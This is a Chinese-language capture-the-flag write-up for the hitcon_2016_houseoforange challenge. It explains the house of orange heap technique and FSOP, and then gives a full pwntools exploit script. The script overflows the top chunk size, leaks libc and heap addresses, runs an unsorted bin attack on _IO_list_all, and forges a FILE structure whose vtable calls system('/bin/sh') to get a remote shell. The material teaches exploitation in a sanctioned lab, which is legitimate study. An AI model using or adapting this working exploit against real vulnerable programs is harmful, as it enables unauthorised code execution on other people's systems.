目录
- 题目分析
- 利用原理
- house of orange
- FSOP
- 漏洞利用
- Exp
题目分析
只有添加,显示,编辑三个功能,没有删除
添加函数,最多只能添加四次,每次添加会依次执行malloc(0x10),malloc(name_size),calloc(8),name_size最大为8
House结构体如下
struct Info{
int price;
int color;
}struct House{
Info* info;
char* name;
}
在编辑函数中,可以重新输入长度进行堆溢出
编辑次数最多为3
利用原理
house of orange
根据题分析,本题是没有释放功能的,但是如果没有空闲的chunk我们难以获取libc地址,下面就介绍一种不需要释放就能得到unsored bin的办法
当我们申请一块内存时,malloc函数会检查各种bin,都不满足条件之后会检查top chunk是否满足,(由于本题的堆溢出使得我们可以修改topchunk的size),如果topchunk也不行,就需要调用sysmalloc来申请内存,而此时又分为brk 和 mmap两种方式
如果所需分配的 chunk 大小大于 mmap 分配阈值(默认为 128K,0x20000),就会调用mmap
所以我们分配的内存需要小于这个
然后来到下一个判断
assert((old_top == initial_top(av) && old_size == 0) ||((unsigned long) (old_size) >= MINSIZE &&prev_inuse(old_top) &&((unsigned long)old_end & pagemask) == 0));
这里需要满足几个条件:
- topchunk size > MINSIZE(0x10)
- top chunk inuse位为1
- 修改之后的 size 必须要对齐到内存页
满足之后,top chunk就被free,从而进入unsorted bin
FSOP
在libc的_IO_list_all
中,存放有一个_IO_FILE_plus
结构体的指针,
如下图,它指向_IO_2_1_stderr_
:
而_IO_FILE_plus
结构体详细内容如下
其中_chain指向下一个_IO_FILE_plus
结构体
在malloc中,它调用malloc_printerr来打印错误,经过一系列调用,最终来到_IO_flush_all_lockp
:
while (fp != NULL)
{
…fp = fp->_chain;...if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T|| (_IO_vtable_offset (fp) == 0&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr> fp->_wide_data->_IO_write_base))
#endif)&& _IO_OVERFLOW (fp, EOF) == EOF)
如果满足以下条件:
- fp->_mode > 0
- _IO_vtable_offset (fp) == 0
- fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
就会调用 _IO_OVERFLOW
,并把结构体当做第一个参数传入
如果我们能够把 _IO_OVERFLOW
改为system,并且伪造结构体,开头为/bin/sh,就能获得shell了
漏洞利用
本题分为两个步骤,首先使用house of orange的办法释放出unsorted bin ,然后利用FSOP劫持控制流
- 申请一个小的house,然后把top chunk的大小改小
- 申请一个较大的house(此时原来的topchunk被释放进unsorted bin),再申请一个large bin范围内的house(切割unsorted bin),利用该house 泄露libc和堆地址
- 编辑house,把剩下unsorted bin的size改为0x60,并在其中伪造
_IO_FILE_plus
结构体和unsorted bin chunk
在这一步中,我们首先利用unsorted bin attack修改_IO_list_all
,这需要把该chunk的bk改为_IO_list_all
-0x10 - 再次malloc,触发错误,获得shell
malloc时,对unsorted bin进行判断,此时该chunk的size为0x60,不满足要求,就把该chunk放入small bin,并且向bk->fd写入main_arena+0x58,即向_IO_list_all
写入main_arena+0x58
此时判断下一个unsorted bin(_IO_list_all
),而这里实际上没有chunk,此时会触发错误
此时第一个_IO_FILE_plus
结构体为main_arena+0x58,而它不满足条件,就通过_chain调到下一个_IO_FILE_plus
结构体,_chain位于0x68偏移的地方,main_arena+0x58+0x68=main_arena+0xc0,就是small bin中0x60大小的地方,这就回到了我们伪造的_IO_FILE_plus
结构体
Exp
from pwn import *
from LibcSearcher import *r = remote("node3.buuoj.cn", 26548)
#r = process("./hitcon_2016_houseoforange")context.log_level = 'debug'
DEBUG = 0
if DEBUG:gdb.attach(r, '''b *$rebase(0x13CB)cx/10gx $rebase(0x203068)''')
elf = ELF("./hitcon_2016_houseoforange")
libc = ELF('./libc/libc-2.23.so')def add(size, content, price, color):r.recvuntil("Your choice : ")r.sendline('1')r.recvuntil("Length of name :")r.sendline(str(size))r.recvuntil("Name :")r.send(content)r.recvuntil("Price of Orange:")r.sendline(str(price))r.recvuntil("Color of Orange:") #1-7r.sendline(str(color))def show():r.recvuntil("Your choice : ")r.sendline('2')def edit(size, content, price, color):r.recvuntil("Your choice : ")r.sendline('3')r.recvuntil("Length of name :")r.sendline(str(size))r.recvuntil("Name:")r.send(content)r.recvuntil("Price of Orange:")r.sendline(str(price))r.recvuntil("Color of Orange:") #1-7r.sendline(str(color))add(0x30,'aaaa\n',0x1234,0xddaa)
payload = 'a' * 0x30 +p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0) * 2 + p64(0xf81)
edit(len(payload), payload, 666, 0xddaa)add(0x1000, 'a\n',0x1234, 0xddaa)
add(0x400, 'a' * 8, 199, 2)
show()
r.recvuntil('a'*8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x668 - 0x10
success('malloc_hook = '+hex(malloc_hook))
libc.address = malloc_hook - libc.symbols['__malloc_hook']
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']payload = 'b' * 0x10
edit(0x10, payload, 199, 2)
show()
r.recvuntil('b'*0x10)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0
success('heap = '+hex(heap))#pause()
payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0)
fake_file = '/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload, 666, 2)
#pause()
r.recvuntil("Your choice : ")
r.sendline('1')r.interactive()